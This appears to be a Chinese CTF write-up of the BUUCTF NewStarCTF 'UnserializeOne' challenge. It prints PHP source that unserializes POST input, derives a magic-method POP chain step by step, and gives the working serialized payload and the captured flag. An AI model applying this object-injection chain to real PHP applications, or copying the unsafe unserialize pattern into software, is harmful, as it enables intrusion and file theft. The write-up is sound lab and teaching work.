【Web方向】 3-1 PHP反序列化buuCTF实例UnserializeOne wp

前言

这是笔者摸索着解开的第一道php反序列化题,在此记录一下解题思路,如有不足之处还请指正。
题目出自buuctf NewStarCTF,UnserializeOne

一、php代码审计

可以看到打开靶机即是源码页面,可以先导出
在这里插入图片描述

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

最后有两行代码,以post方法提交pop,然后反序列化pop
这里抓住这个点就可以把语句序列化为字符串后提交,然后在其网页执行然后得到我们想要的flag

二、构造关系链

  • 我先定义各个类对应的变量,接下来逆向分析
$start=new Start();
$sec=new Sec();
$easy=new Easy();
$eeee=new eeee();
  • 看32行,file_get_contents('/flag'),这句的意思是把整个文件读入一个字符串中,而这里的文件恰好是flag。人活着是为了什么,不就是为了这一个flag吗?

在这里插入图片描述

  • 可以看到输出flag的语句是在__invoke()函数里面的,而__invoke()是反序列化的魔幻函数:当尝试将对象调用为函数时触发;它的对象不就是Sec么
  • 然后看16行($this->func)(),这里只要把Start这个类中的func改为Sec,即可把Sec当成函数来运行
    在这里插入图片描述
  • 所以构造如下第61行代码:
    在这里插入图片描述
  • 然后要要运行($this->func)(),就要先触发__isset(),__isset()的触发条件是:在不可访问的属性上调用isset()或empty()
    在这里插入图片描述
  • 在eeee类里面有isset($this->obj->cmd),把obj换成__isset()函数所在的对象:Start,便可触发__isset()函数里面的语句啦
  • 可构造以下第62行语句
    在这里插入图片描述
  • 接下来,外面的__clone()函数也是魔幻函数,可通过用clone函数复制其对象来激活
    在这里插入图片描述
  • 在第41行发现了clone函数,这里要把var改成eeee,然后外面的__call()这个魔幻函数的触发条件是:在对象中调用不可访问的方法
  • 这里我插入一下__call(<参数1>,<参数2>)的使用
<?php
class person
{
	function say()
	{
		echo "hello world!".PHP_EOL;
	}
	function __call($s1,$s2)
	{
	echo "参数1:".$s1.PHP_EOL."参数2:";
    print_r($s2);
	}
}
$person=new person();
$person->eat("apple");
?>

运行结果:

参数1:eat
参数2:Array
(
    [0] => apple
)
  • 所以回到题目中,把下图Sec类中的obj改为easy,而Easy类中没有check()这个函数,便会触发类里面的__call()函数,然后__call()的第二个参数var就会变成Sec这个类里面的var,所以我们要先把Sec里面的var改成eeee,这样__call()的参数2就是eeee这个类了,然后__call()函数里面的$var[0]也顺理成章地是__clone()的对象eeee了
    在这里插入图片描述
  • 讲了这么多,构造下面64,65两条语句:
    在这里插入图片描述
  • 到了这里也差不多了,把我的步骤逆过来就是输出flag的步骤了,但是还差一根导火索:这里可以用__toString()函数来触发
    在这里插入图片描述
  • __toString()函数的触发条件是对象被当成字符串输出
  • Start类里面正好有个name被用echo输出,这可不就是被当成字符串了嘛!
    在这里插入图片描述
  • 那就可以构造第65行语句,把sec换成name当作字符串输出,从而激活__toString()函数
    在这里插入图片描述
  • 最后触发__construct()函数,直接把__construct()函数的对象销毁,即Start序列化为字符串就行了
  • 构造67,68行语句:
    在这里插入图片描述
  • 最后运行输出得到O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
    (因为我这里运行报错说private无权访问,我把protected和private全换成public后解决问题了,注意我这样用的前提是我的语句不需要用到protected和private)

三、序列化封装提交

  • 回到网页,用hackbar提交pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
  • 即可得到flag:flag{8651d98f-1026-4d7e-a643-de41030c3741}
    在这里插入图片描述
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值